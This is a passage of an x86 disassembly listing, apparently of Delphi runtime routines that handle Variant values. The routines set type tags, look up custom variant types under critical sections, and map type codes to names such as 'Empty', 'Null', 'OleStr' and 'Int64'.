[ebx] mov dx, 0Dh call sub_4000DBF4 loc_4001247D: ; CODE XREF: sub_400123C8+3Bj ; sub_400123C8+5Aj ... pop edx pop esi pop ebx retn sub_400123C8 endp ; --------------------------------------------------------------------------- align 4 dword_40012484 dd 2 dup(0) dd 0C0h, 46000000h ; =============== S U B R O U T I N E ======================================= sub_40012494 proc near ; CODE XREF: sub_4000E848+19p var_C = dword ptr -0Ch push ebx push esi push ecx mov ebx, edx mov esi, eax movzx eax, word ptr [ebx] sub ax, 1 jb short loc_400124B4 jz short loc_400124BD sub ax, 8 jz short loc_400124DC sub ax, 4000h jz short loc_400124E8 jmp short loc_400124F6 ; --------------------------------------------------------------------------- loc_400124B4: ; CODE XREF: sub_40012494+Ej mov eax, esi call sub_40006204 jmp short loc_4001252A ; --------------------------------------------------------------------------- loc_400124BD: ; CODE XREF: sub_40012494+10j cmp byte_4001AA10, 0 jz short loc_400124D3 mov dx, 9 mov ax, 1 call sub_4000DBF4 loc_400124D3: ; CODE XREF: sub_40012494+30j mov eax, esi call sub_40006204 jmp short loc_4001252A ; --------------------------------------------------------------------------- loc_400124DC: ; CODE XREF: sub_40012494+16j mov eax, esi mov edx, [ebx+8] call sub_4000621C jmp short loc_4001252A ; --------------------------------------------------------------------------- loc_400124E8: ; CODE XREF: sub_40012494+1Cj mov eax, esi mov edx, [ebx+8] mov edx, [edx] call sub_4000621C jmp short loc_4001252A ; --------------------------------------------------------------------------- loc_400124F6: ; CODE XREF: sub_40012494+1Ej mov edx, esp movzx eax, word ptr [ebx] call sub_40012D98 test al, al jz short loc_4001251E mov eax, esi call sub_40006204 mov ecx, eax mov edx, offset dword_40012530 mov eax, [esp+0Ch+var_C] call sub_40003D9C test al, al jnz short loc_4001252A loc_4001251E: ; CODE XREF: sub_40012494+6Ej movzx eax, word ptr [ebx] mov dx, 9 call sub_4000DBF4 loc_4001252A: ; CODE XREF: sub_40012494+27j ; sub_40012494+46j ... pop edx pop esi pop ebx retn sub_40012494 endp ; --------------------------------------------------------------------------- align 10h dword_40012530 dd 20400h, 0 dd 0C0h, 46000000h ; =============== S U B R O U T I N E ======================================= sub_40012540 proc near ; CODE XREF: sub_4000E9CC+F0p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012554 mov eax, ebx call sub_4000E35C loc_40012554: ; CODE XREF: sub_40012540+Bj mov word ptr [ebx], 3 mov [ebx+8], esi pop esi pop ebx retn sub_40012540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012560 proc near ; CODE XREF: sub_4000E9CC+1A5p push ebx push esi mov ebx, edx mov esi, eax test word ptr [esi], 0BFE8h jz short loc_40012574 mov eax, esi call sub_4000E35C loc_40012574: ; CODE XREF: sub_40012560+Bj mov word ptr [esi], 11h mov [esi+8], bl pop esi pop ebx retn sub_40012560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012580 proc near ; CODE XREF: sub_4000E9CC+1B7p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012594 mov eax, ebx call sub_4000E35C loc_40012594: ; CODE XREF: sub_40012580+Bj mov word ptr [ebx], 12h mov [ebx+8], si pop esi pop ebx retn sub_40012580 endp ; =============== S U B R O U T I N E ======================================= sub_400125A0 proc near ; CODE XREF: sub_4000E9CC+1C9p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_400125B4 mov eax, ebx call sub_4000E35C loc_400125B4: ; CODE XREF: sub_400125A0+Bj mov word ptr [ebx], 13h mov [ebx+8], esi pop esi pop ebx retn sub_400125A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400125C0 proc near ; CODE XREF: sub_4000E9CC+190p push ebx push esi mov ebx, edx mov esi, eax test word ptr [esi], 0BFE8h jz short loc_400125D4 mov eax, esi call sub_4000E35C loc_400125D4: ; CODE XREF: sub_400125C0+Bj mov word ptr [esi], 10h mov [esi+8], bl pop esi pop ebx retn sub_400125C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400125E0 proc near ; CODE XREF: sub_4000E9CC+DBp push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_400125F4 mov eax, ebx call sub_4000E35C loc_400125F4: ; CODE XREF: sub_400125E0+Bj mov word ptr [ebx], 2 mov [ebx+8], si pop esi pop ebx retn sub_400125E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012600 proc near ; CODE XREF: sub_4000E9CC+1DBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012614 mov eax, ebx call sub_4000E35C loc_40012614: ; CODE XREF: sub_40012600+Bj mov word ptr [ebx], 14h mov eax, [ebp+arg_0] mov [ebx+8], eax mov eax, [ebp+arg_4] mov [ebx+0Ch], eax pop ebx pop ebp retn 8 sub_40012600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001262C proc near ; CODE XREF: sub_4000E9CC+10Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012640 mov eax, ebx call sub_4000E35C loc_40012640: ; CODE XREF: sub_4001262C+Bj mov eax, [ebp+arg_0] mov [ebx+8], eax mov word ptr [ebx], 4 pop ebx pop ebp retn 4 sub_4001262C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012650 proc near ; CODE XREF: sub_4000E9CC+124p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012664 mov eax, ebx call sub_4000E35C loc_40012664: ; CODE XREF: sub_40012650+Bj mov eax, [ebp+arg_0] mov [ebx+8], eax mov eax, [ebp+arg_4] mov [ebx+0Ch], eax mov word ptr [ebx], 5 pop ebx pop ebp retn 8 sub_40012650 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001267C proc near ; CODE XREF: sub_4000E9CC+13Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012690 mov eax, ebx call sub_4000E35C loc_40012690: ; CODE XREF: sub_4001267C+Bj mov eax, [ebp+arg_0] mov [ebx+8], eax mov eax, [ebp+arg_4] mov [ebx+0Ch], eax mov word ptr [ebx], 6 pop ebx pop ebp retn 8 sub_4001267C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400126A8 proc near ; CODE XREF: sub_4000E9CC+158p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_400126BC mov eax, ebx call sub_4000E35C loc_400126BC: ; CODE XREF: sub_400126A8+Bj mov eax, [ebp+arg_0] mov [ebx+8], eax mov eax, [ebp+arg_4] mov [ebx+0Ch], eax mov word ptr [ebx], 7 pop ebx pop ebp retn 8 sub_400126A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400126D4 proc near ; CODE XREF: sub_4000E9CC+17Bp push ebx push esi mov ebx, edx mov esi, eax test word ptr [esi], 0BFE8h jz short loc_400126E8 mov eax, esi call sub_4000E35C loc_400126E8: ; CODE XREF: sub_400126D4+Bj mov word ptr [esi], 0Bh cmp bl, 1 cmc sbb eax, eax mov [esi+8], ax pop esi pop ebx retn sub_400126D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400126FC proc near ; CODE XREF: sub_4000E7FC+23p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012710 mov eax, ebx call sub_4000E35C loc_40012710: ; CODE XREF: sub_400126FC+Bj xor eax, eax mov [ebx+8], eax mov word ptr [ebx], 100h lea eax, [ebx+8] mov edx, esi call sub_400048D8 pop esi pop ebx retn sub_400126FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40012728 proc near ; CODE XREF: sub_4000E7B0+23p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_4001273C mov eax, ebx call sub_4000E35C loc_4001273C: ; CODE XREF: sub_40012728+Bj xor eax, eax mov [ebx+8], eax mov word ptr [ebx], 8 lea eax, [ebx+8] push eax mov ecx, 7FFFFFFFh mov edx, 1 mov eax, esi call sub_40005174 pop esi pop ebx retn sub_40012728 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012760 proc near ; CODE XREF: sub_4000E894+23p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_40012774 mov eax, ebx call sub_4000E35C loc_40012774: ; CODE XREF: sub_40012760+Bj xor eax, eax mov [ebx+8], eax mov word ptr [ebx], 0Dh lea eax, [ebx+8] mov edx, esi call sub_4000621C pop esi pop ebx retn sub_40012760 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001278C proc near ; CODE XREF: sub_4000E848+23p push ebx push esi mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_400127A0 mov eax, ebx call sub_4000E35C loc_400127A0: ; CODE XREF: sub_4001278C+Bj xor eax, eax mov [ebx+8], eax mov word ptr [ebx], 9 lea eax, [ebx+8] mov edx, esi call sub_4000621C pop esi pop ebx retn sub_4001278C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400127B8 proc near ; DATA XREF: sub_40019144+55o ; .data:off_4001A014o cmp word ptr [eax], 8 jb short locret_400127D8 push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] mov word ptr [eax], 0 mov edx, esp call sub_4000E700 add esp, 10h locret_400127D8: ; CODE XREF: sub_400127B8+4j retn sub_400127B8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 5 aEmpty db 'Empty',0 ; DATA XREF: .data:off_4001AA20o align 4 dword_400127EC dd 0FFFFFFFFh, 4, 6C6C754Eh, 0dword_400127FC dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch, 0dword_40012810 dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h ; DATA XREF: .data:4001AA2Co dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh dd 8, 72727543h, 79636E65h, 0 dword_40012854 dd 0FFFFFFFFh, 4, 65746144h, 0dword_40012864 dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh, 8, 70736944h ; DATA XREF: .data:4001AA40o dd 68637461h, 0 dword_40012888 dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h ; DATA XREF: .data:4001AA48o dd 6E6165h, 0FFFFFFFFh, 7, 69726156h, 746E61h, 0FFFFFFFFh dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h dd 0 dword_400128F8 dd 0FFFFFFFFh, 4, 65747942h, 0dword_40012908 dd 0FFFFFFFFh, 4, 64726F57h, 0dword_40012918 dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h, 0dword_4001292C dd 0FFFFFFFFh, 5, 36746E49h, 34h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001293C proc near ; CODE XREF: sub_4000DBF4+2Ap ; sub_4000DBF4+3Ep ... var_208 = dword ptr -208h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDF8h push ebx push esi push edi xor ecx, ecx mov [ebp+var_208], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40012A62 push dword ptr fs:[eax] mov fs:[eax], esp mov edi, ebx and di, 0FFFh cmp di, 14h ja short loc_40012985 mov eax, esi movzx edx, di mov edx, off_4001AA20[edx*4] call sub_400048D8 jmp loc_40012A23 ; --------------------------------------------------------------------------- loc_40012985: ; CODE XREF: sub_4001293C+31j cmp bx, 100h jnz short loc_4001299D mov eax, esi mov edx, offset aString_0 ; "String" call sub_400048D8 jmp loc_40012A23 ; --------------------------------------------------------------------------- loc_4001299D: ; CODE XREF: sub_4001293C+4Ej cmp bx, 101h jnz short loc_400129B2 mov eax, esi mov edx, offset dword_40012A88 call sub_400048D8 jmp short loc_40012A23 ; --------------------------------------------------------------------------- loc_400129B2: ; CODE XREF: sub_4001293C+66j lea edx, [ebp+var_4] mov eax, ebx call sub_40012D98 test al, al jz short loc_400129FB lea eax, [ebp+var_104] push eax lea edx, [ebp+var_204] mov eax, [ebp+var_4] mov eax, [eax] call sub_40003C6C lea eax, [ebp+var_204] mov ecx, 7FFFFFFFh mov edx, 2 call sub_40002D98 lea edx, [ebp+var_104] mov eax, esi call sub_40004AE8 jmp short loc_40012A23 ; --------------------------------------------------------------------------- loc_400129FB: ; CODE XREF: sub_4001293C+82j lea ecx, [ebp+var_208] movzx eax, di mov edx, 4 call sub_40007DAC mov ecx, [ebp+var_208] mov edx, off_4001B09C mov edx, [edx] mov eax, esi call sub_40004B94 loc_40012A23: ; CODE XREF: sub_4001293C+44j ; sub_4001293C+5Cj ... test bh, 20h jz short loc_40012A36 mov ecx, [esi] mov eax, esi mov edx, offset dword_40012A94 call sub_40004B94 loc_40012A36: ; CODE XREF: sub_4001293C+EAj test bh, 40h jz short loc_40012A49 mov ecx, [esi] mov eax, esi mov edx, offset dword_40012AA4 call sub_40004B94 loc_40012A49: ; CODE XREF: sub_4001293C+FDj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012A69 loc_40012A56: ; CODE XREF: sub_4001293C+12Bj lea eax, [ebp+var_208] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40012A62: ; DATA XREF: sub_4001293C+1Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012A56 ; --------------------------------------------------------------------------- loc_40012A69: ; CODE XREF: sub_4001293C+125j ; DATA XREF: sub_4001293C+115o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4001293C endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 6 aString_0 db 'String',0 ; DATA XREF: sub_4001293C+52o align 10h dd 0FFFFFFFFh, 3 dword_40012A88 dd 796E41h, 0FFFFFFFFh, 6dword_40012A94 dd 61727241h, 2079h, 0FFFFFFFFh, 6dword_40012AA4 dd 65527942h, 2066h ; =============== S U B R O U T I N E ======================================= sub_40012AAC proc near ; CODE XREF: sub_40012AC4+5p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx call sub_4000E3D8 mov word ptr [ebx], 0Ah mov [ebx+8], esi pop esi pop ebx retn sub_40012AAC endp ; =============== S U B R O U T I N E ======================================= sub_40012AC4 proc near ; CODE XREF: sub_40019144+1Fp mov edx, 80020004h call sub_40012AAC retn sub_40012AC4 endp ; --------------------------------------------------------------------------- align 10h off_40012AD0 dd offset dword_40012AD4 ; DATA XREF: sub_40012E54+56r dword_40012AD4 dd 302E0311h, 432h, 0 dd 0FFFFFF00h db 0FFh dd offset off_4000D6B4 db 8, 56h, 61h dd 6E616972h, 0C08B7374h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012AF4 proc near ; CODE XREF: sub_40012E54+19p push ebp mov ebp, esp push ebx push esi mov esi, offset dword_4001F2A8 push offset dword_4001F2AC call sub_40006520 ; RtlEnterCriticalSection xor edx, edx push ebp push offset loc_40012B55 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [esi] call sub_4000596C mov ebx, eax dec ebx cmp ebx, 0 jl short loc_40012B3D loc_40012B25: ; CODE XREF: sub_40012AF4+47j mov eax, [esi] mov eax, [eax+ebx*4] cmp eax, dword_4001AA1C jz short loc_40012B37 call sub_40003CE8 loc_40012B37: ; CODE XREF: sub_40012AF4+3Cj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_40012B25 loc_40012B3D: ; CODE XREF: sub_40012AF4+2Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012B5C loc_40012B4A: ; CODE XREF: sub_40012AF4+66j push offset dword_4001F2AC call sub_400065E8 ; RtlLeaveCriticalSection retn ; --------------------------------------------------------------------------- loc_40012B55: ; DATA XREF: sub_40012AF4+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012B4A ; --------------------------------------------------------------------------- loc_40012B5C: ; DATA XREF: sub_40012AF4+51o pop esi pop ebx pop ebp retn sub_40012AF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012B60 proc near ; DATA XREF: .text:4000D690o push ebp mov ebp, esp call sub_40012D20 pop ebp retn 4 sub_40012B60 endp ; =============== S U B R O U T I N E ======================================= sub_40012B6C proc near ; DATA XREF: .text:4000D67Co var_10 = dword ptr -10h push ebx push esi push edi push ecx mov esi, ecx mov edi, edx mov ebx, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 test al, al jz short loc_40012B98 movzx eax, word ptr [ebx+4] push eax mov ecx, esi mov edx, edi mov eax, [esp+14h+var_10] mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_40012B9F ; --------------------------------------------------------------------------- loc_40012B98: ; CODE XREF: sub_40012B6C+16j mov eax, ebx call sub_40012D18 loc_40012B9F: ; CODE XREF: sub_40012B6C+2Aj pop edx pop edi pop esi pop ebx retn sub_40012B6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012BA4 proc near ; DATA XREF: .text:4000D680o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, ecx mov [ebp+var_4], edx mov ebx, eax mov edi, [ebp+arg_0] cmp di, [ebx+4] jz short loc_40012BDC lea edx, [ebp+var_8] movzx eax, word ptr [esi] call sub_40012D98 test al, al jz short loc_40012BDC push edi mov ecx, esi mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_40012BE3 ; --------------------------------------------------------------------------- loc_40012BDC: ; CODE XREF: sub_40012BA4+17j ; sub_40012BA4+26j mov eax, ebx call sub_40012D18 loc_40012BE3: ; CODE XREF: sub_40012BA4+36j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_40012BA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012BEC proc near ; DATA XREF: .text:4000D69Co push ebp mov ebp, esp call sub_40012D20 pop ebp retn 4 sub_40012BEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012BF8 proc near ; DATA XREF: .text:4000D698o var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, edx mov esi, eax lea eax, [ebp+var_1] push eax mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+38h] movzx eax, [ebp+var_1] mov edx, [ebp+arg_0] lea edx, [edx+edx*2] add edx, offset dword_4001AA74 movzx eax, byte ptr [edx+eax-2Ah] pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_40012BF8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012C30 proc near ; DATA XREF: .text:4000D684o var_14 = word ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov edi, edx mov ebx, eax mov ecx, esp mov edx, esi mov eax, ebx mov ebp, [eax] call dword ptr [ebp+0Ch] test al, al jz short loc_40012C5C movzx eax, [esp+14h+var_14] push eax mov ecx, esi mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_40012C63 ; --------------------------------------------------------------------------- loc_40012C5C: ; CODE XREF: sub_40012C30+18j mov eax, ebx call sub_40012D18 loc_40012C63: ; CODE XREF: sub_40012C30+2Aj pop edx pop ebp pop edi pop esi pop ebx retn sub_40012C30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012C6C proc near ; DATA XREF: .text:4000D660o var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h call sub_40003FD8 mov [ebp+var_5], dl mov [ebp+var_4], eax push offset dword_4001F2AC call sub_40006520 ; RtlEnterCriticalSection xor edx, edx push ebp push offset loc_40012CCF push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] movzx eax, word ptr [eax+4] test ax, ax jz short loc_40012CB7 movzx eax, ax mov edx, ds:dword_4001F2A8 mov ecx, dword_4001AA1C mov [edx+eax*4-400h], ecx loc_40012CB7: ; CODE XREF: sub_40012C6C+33j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012CD6 loc_40012CC4: ; CODE XREF: sub_40012C6C+68j push offset dword_4001F2AC call sub_400065E8 ; RtlLeaveCriticalSection retn ; --------------------------------------------------------------------------- loc_40012CCF: ; DATA XREF: sub_40012C6C+1Eo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012CC4 ; --------------------------------------------------------------------------- loc_40012CD6: ; DATA XREF: sub_40012C6C+53o movzx edx, [ebp+var_5] and dl, 0FCh mov eax, [ebp+var_4] call sub_40003CD8 cmp [ebp+var_5], 0 jle short loc_40012CF3 mov eax, [ebp+var_4] call sub_40003F80 loc_40012CF3: ; CODE XREF: sub_40012C6C+7Dj pop ecx pop ecx pop ebp retn sub_40012C6C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40012CF8 proc near ; DATA XREF: .text:4000D678o xor eax, eax retn sub_40012CF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012CFC proc near ; DATA XREF: .text:4000D668o arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] movzx eax, word ptr [eax+4] mov [edx], ax mov al, 1 pop ebp retn 4 sub_40012CFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012D10 proc near ; DATA XREF: .text:4000D670o mov word ptr [ecx], 8 mov al, 1 retn sub_40012D10 endp ; =============== S U B R O U T I N E ======================================= sub_40012D18 proc near ; CODE XREF: sub_40012B6C+2Ep ; sub_40012BA4+3Ap ... call sub_4000DBA0 retn sub_40012D18 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40012D20 proc near ; CODE XREF: sub_40012B60+3p ; sub_40012BEC+3p ... call sub_4000DC90 retn sub_40012D20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40012D28 proc near ; CODE XREF: sub_40012D4C+3p call sub_4000E0EC retn sub_40012D28 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012D30 proc near ; DATA XREF: .text:4000D66Co arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] movzx eax, word ptr [eax+4] mov [edx], ax mov al, 1 pop ebp retn 4 sub_40012D30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40012D44 proc near ; DATA XREF: .text:4000D694o call sub_40012D20 retn sub_40012D44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012D4C proc near ; DATA XREF: .text:4000D674o push ebp mov ebp, esp call sub_40012D28 pop ebp retn 8 sub_40012D4C endp ; --------------------------------------------------------------------------- loc_40012D58: ; CODE XREF: .text:4000D5DBj push ebp mov ebp, esp or eax, 0FFFFFFFFh pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 loc_40012D64: ; CODE XREF: .text:4000D5E5j push ebp mov ebp, esp or eax, 0FFFFFFFFh pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012D70 proc near ; DATA XREF: .text:off_4000D664o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] mov eax, ebx call sub_40003D9C test al, al jz short loc_40012D8C xor eax, eax jmp short loc_40012D91 ; --------------------------------------------------------------------------- loc_40012D8C: ; CODE XREF: sub_40012D70+16j mov eax, 80004002h loc_40012D91: ; CODE XREF: sub_40012D70+1Aj pop ebx pop ebp retn 0Ch sub_40012D70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012D98 proc near ; CODE XREF: sub_4000E35C+56p ; sub_4000E654+80p ... var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:dword_4001F2A8, 0 jz short loc_40012DBA cmp bx, 100h jb short loc_40012DBA cmp bx, 7FFh jbe short loc_40012DBE loc_40012DBA: ; CODE XREF: sub_40012D98+12j ; sub_40012D98+19j xor eax, eax jmp short loc_40012DC0 ; --------------------------------------------------------------------------- loc_40012DBE: ; CODE XREF: sub_40012D98+20j mov al, 1 loc_40012DC0: ; CODE XREF: sub_40012D98+24j mov [ebp+var_1], al cmp [ebp+var_1], 0 jz short loc_40012E47 push offset dword_4001F2AC call sub_40006520 ; RtlEnterCriticalSection xor eax, eax push ebp push offset loc_40012E40 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ds:dword_4001F2A8 call sub_4000596C movzx edi, bx mov edx, edi sub edx, 100h cmp eax, edx setnle [ebp+var_1] cmp [ebp+var_1], 0 jz short loc_40012E28 mov eax, ds:dword_4001F2A8 mov eax, [eax+edi*4-400h] mov [esi], eax cmp dword ptr [esi], 0 jz short loc_40012E1F mov eax, [esi] cmp eax, dword_4001AA1C jnz short loc_40012E23 loc_40012E1F: ; CODE XREF: sub_40012D98+7Bj xor eax, eax jmp short loc_40012E25 ; --------------------------------------------------------------------------- loc_40012E23: ; CODE XREF: sub_40012D98+85j mov al, 1 loc_40012E25: ; CODE XREF: sub_40012D98+89j mov [ebp+var_1], al loc_40012E28: ; CODE XREF: sub_40012D98+68j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012E47 loc_40012E35: ; CODE XREF: sub_40012D98+ADj push offset dword_4001F2AC call sub_400065E8 ; RtlLeaveCriticalSection retn ; --------------------------------------------------------------------------- loc_40012E40: ; DATA XREF: sub_40012D98+3Eo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012E35 ; --------------------------------------------------------------------------- loc_40012E47: ; CODE XREF: sub_40012D98+2Fj ; DATA XREF: sub_40012D98+98o movzx eax, [ebp+var_1] pop edi pop esi pop ebx pop ecx pop ebp retn sub_40012D98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012E54 proc near ; DATA XREF: .text:40018380o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40012EC3 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F2A4 jnz short loc_40012EB5 call sub_40012AF4 push offset dword_4001F2AC call sub_40006518 ; RtlDeleteCriticalSection mov eax, offset dword_4001F284 call sub_4000E3EC mov eax, offset dword_4001AA14 call sub_40004884 mov eax, offset off_4001AA20 mov ecx, 15h mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001F2A8 mov edx, ds:off_40012AD0 call sub_40005B34 loc_40012EB5: ; CODE XREF: sub_40012E54+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012ECA loc_40012EC2: ; CODE XREF: sub_40012E54+74j retn ; --------------------------------------------------------------------------- loc_40012EC3: ; DATA XREF: sub_40012E54+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012EC2 ; --------------------------------------------------------------------------- loc_40012ECA: ; CODE XREF: sub_40012E54:loc_40012EC2j ; DATA XREF: sub_40012E54+69o pop ebp retn sub_40012E54 endp ; --------------------------------------------------------------------------- off_40012ECC dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFACo dd 0FFAAh dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF90o dd 0FFABh dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF7Co dd 0FFACh off_40012EE4 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFE4o dd 0FFADh off_40012EEC dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFA0o dd 0FFAEh dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B05Co dd 0FFAFh dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0D4o db 90h db 0FFh, 2 dup(0) dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFCCo dd 0FF91h, 0FFFFFFFFh, 5 aFalse_0 db 'False',0 ; DATA XREF: .data:off_4001AA88o align 4 dword_40012F1C dd 0FFFFFFFFh, 4, 65757254h, 0 dd 0FFFFFFFFh, 1 dword_40012F34 dd 2Eh ; =============== S U B R O U T I N E ======================================= ; 